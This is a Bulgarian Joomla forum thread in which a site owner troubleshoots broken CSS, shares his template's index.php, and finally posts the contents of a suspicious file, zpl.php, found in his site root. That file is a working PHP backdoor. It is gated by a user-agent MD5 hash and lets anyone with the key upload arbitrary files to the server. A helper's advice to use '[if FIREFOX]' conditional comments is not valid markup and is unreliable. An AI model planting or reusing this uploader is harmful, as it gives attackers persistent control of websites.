Joomla! България

Joomla! - Общи теми => Шаблони => Темата е започната от: Георги в 06 Ноември, 2014, 20:24:05

Титла: Неподържан css при някой браузери
Публикувано от: Георги в 06 Ноември, 2014, 20:24:05
Имам един сайт bgstuff.net които съм оставил  на автопилот от доста време, но днес нещо ме учуди
браузерите  сякаш не  четат някой правила от  css файловете
връщах ахриви на рабощещия темплейт но няма промянa
някой   css правила които не се възприемат
шрифта
в статиите излиза и скроол  bgstuff.net/zakoni-i-normativni-aktove/tarifi/5759-mitnicheska-tarifa (за пример
липсва хедъра зад менюто
та къде мога да прочета за промените в браузерите и особено за "НОВИТЕ" css правилата в браузерите
пробвах с мозила хром и ИЕ
навсякъде  е едно и също, но не такак като си беше :) преди
Титла: Re: Неподържан css при някой браузери
Публикувано от: Бого в 06 Ноември, 2014, 20:33:32
Здравей,

забиваш в индекса на шаблона, като задава пътя към css.

<!--[if IE]>
<link rel="stylesheet" type="text/css" href="/css/име.css" />

<![endif]-->


<!--[if FIREFOX]>
   <link rel="stylesheet" type="text/css" href="/css/име.css" />
<![endif]-->


Има още неща, но направиш тези и пиши.


Титла: Re: Неподържан css при някой браузери
Публикувано от: Георги в 06 Ноември, 2014, 20:50:51
неще пробвах с мозилата с относителен и точен път
<!--[if FIREFOX]>
   <link rel="stylesheet" type="text/css" href="http://www.bgstuff.net/templates/jnews_warrior/css/template.css" />
<![endif]-->

но няма разлика
Титла: Re: Неподържан css при някой браузери
Публикувано от: Бого в 06 Ноември, 2014, 21:05:38
Имаш грешка, виж какво си направил

<!--[if FIREFOX]>
   <link rel="stylesheet" type="text/css" href="http://www.bgstuff.net/templates/jnews_warrior/css/template.css" />
   <link rel="stylesheet" type="text/css" href="http://www.bgstuff.net/templates/jnews_warrior/css/reset.css" />
     <link rel="stylesheet" type="text/css" href="http://www.bgstuff.net/templates/jnews_warrior/css/blue.css" />
<![endif]-->

Създаваш си нов файл/css/  ти писах и там слагаш промените!
Титла: Re: Неподържан css при някой браузери
Публикувано от: Георги в 06 Ноември, 2014, 21:23:01
аууу немога да включа
така ли
 <!--[if FIREFOX]>
   <link rel="stylesheet" type="text/css" href="http://www.bgstuff.net/templates/jnews_warrior/css/newtemplate.css" />
<![endif]-->
направих нов  css файл и указвам пътя
Пробвах и с css папка в главната директория
<!--[if FIREFOX]>
   <link rel="stylesheet" type="text/css" href="/css/newtemplate.css" />
<![endif]-->
направих нов  css файл и указвам пътя, (реално е копие на   css файла който ми трябва и бачкаше преди :)

нещо съм затъпел като не съм пипал комп от доста време

п.п
 без промени
Титла: Re: Неподържан css при някой браузери
Публикувано от: Бого в 06 Ноември, 2014, 21:26:57
В този нов файл css, направи ли промените според браузъра?
Титла: Re: Неподържан css при някой браузери
Публикувано от: Георги в 06 Ноември, 2014, 21:33:29
там е проблема, че нетрябва да има промени
май не го обяснявам добре
шаблона си беше ок преди (да речем 2-3 месеца)
с тези си css правила
изглеждаше добре в всички браузери
промени не съм правил последната  година и нещо
затова сега се учудих че се е излиза така

или пък аз пропускам нещо в твоите отговори
Титла: Re: Неподържан css при някой браузери
Публикувано от: Бого в 06 Ноември, 2014, 21:36:13
Като казвам промени, не искам да ти кажа различен дизайн или нещо подобно, а само да поправиш някой неща според браузъра.В този нов css файл записваш точно тези поправки според браузъра. Дано си ме разбрал.
Титла: Re: Неподържан css при някой браузери
Публикувано от: Георги в 06 Ноември, 2014, 21:55:49
разбрах те
направих един друг цсс файл с намален font-size: 90%; o -  никаква промяна през браузер
през css конзолата на мозила (CTRL+SHIft+C) този файл css който направих (newreset.css) обаче не се вижда

обаче пък в конзолата се вижда следното
<body>
<body ></ body >
</body>

а в index.php си имам само
<body>
</body>

през мобилен телефон си излиза нормално в вградения браузер и опера мини
иначе пробвам през xp с мозила и хром и win7 със същите браузери има проблем с css

друго нещо което забелязвам с firebug е ще не се зарежда нито един от <!--[if FIREFOX]>, <!--[if IE]>
ето го целия index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/menu.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('tw_colorStyle'); ?>.css" type="text/css" />
<style type="text/css">
<!--
table {
border-collapse:collapse;
margin-bottom:20px;
width:99%;
}
-->
</style>

<!--[if lte IE 7]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ie.css" rel="stylesheet" type="text/css" />
<![endif]-->

<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ie6.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/DD_belatedPNG_0.0.7a.js"></script>
<script>
  DD_belatedPNG.fix('div, img');
</script>
<![endif]-->
<!--[if FIREFOX]>
 <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/newreset.css" type="text/css" />
<![endif]-->
<link rel="shortcut icon" href="favicon.ico" />

<?php
if (
$this->countModules('user4') || $this->countModules('right')) :
$column_wrapper_width = "rightActive";
$midcol_width = "rightActive";
else:
$column_wrapper_width = "rightNotActive";
$midcol_width = "rightNotActive";
endif; 
?>

</head>
<body id="body" class="<?php echo $this->params->get('tw_fontFamily'); ?>">
<div id="header">
<div class="container">

<div id="sub-header" class="clearfix">
<div class="top-menu">
<?php if($this->countModules('top')) : ?>
<jdoc:include type="modules" name="top" />
<?php endif; ?>
</div>

</div>
</div>
</div>

<div id="maincontent">
<div class="container">
<div id="column-wrapper-<?php echo $column_wrapper_width; ?>">
<div id="midcol-<?php echo $midcol_width; ?>">
<?php if($option != com_frontpage): ?>
<div class="breadcrumb">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<?php endif; ?>

<?php if($this->countModules('user2') && $option != com_googlelogger && $option != com_search) : ?>
<div id="ticker">
<jdoc:include type="modules" name="user2" style="xhtml" />
</div>
<?php endif; ?>
<div style="display:none;"><jdoc:include type="message" /></div>
<?php if($this->countModules('featured') && $option != com_search) : ?>
<jdoc:include type="modules" name="featured" style="xhtml" />
<?php endif; ?>

<div class="sredata">
<jdoc:include type="component" />
</div>
<?php if($this->countModules('newstabs') && $option != com_search) : ?>
<jdoc:include type="modules" name="newstabs" style="xhtml" />
<?php endif; ?>

<?php if($this->countModules('bottomcontent')) : ?>
<jdoc:include type="modules" name="bottomcontent" style="xhtml" />
<?php endif; ?>
</div>

<?php if($this->countModules('user1') || $this->countModules('left')) :  ?>
<div id="leftcol">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="xhtml" />
<?php endif; ?>
</div>
<?php endif; ?>
</div>

<div id="rightcol">
<?php if($this->countModules('user4')) : ?>
<jdoc:include type="modules" name="user4" />
<?php endif; ?>
<?php if($this->countModules('right')) : ?>
<jdoc:include type="modules" name="right" style="xhtml" />
<?php endif; ?>
</div>
</div>
</div>

<div id="footer">
<div class="container">
<div class="footer-menu">
<?php if($this->countModules('footer-menu')) : ?>
<jdoc:include type="modules" name="footer-menu" style="xhtml" />
<?php endif; ?>
</div>
<div class="footer-module clearfix">
</div>
</div>
</div>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7244347-19");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>
Титла: Re: Неподържан css при някой браузери
Публикувано от: Георги в 07 Ноември, 2014, 11:02:15
то май ще се окаже че проблема не е в шаблона. Слагам същия шаблон на поддомейн на същия домейн на същия впс и си бачка нормално. Къде да търся според вас проблема във впс ли или нещо друго. Но както споменах по горе не съм пипал нищо от поне година по дизай и настройки

намерих един странен файл zpl.php в главната директория
<?php if(md5($_SERVER["HTTP_USER_AGENT"]) !== "49de371511c1de3bde34b0108ec7f129"){die("04030");} if (isset($_FILES["file"])){ $z = $_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"],$z); header("Location: $z"); exit(); }?><html><body><form action="<?php echo basename(__FILE__); ?>" method="post" enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="Submit"></form></body></html>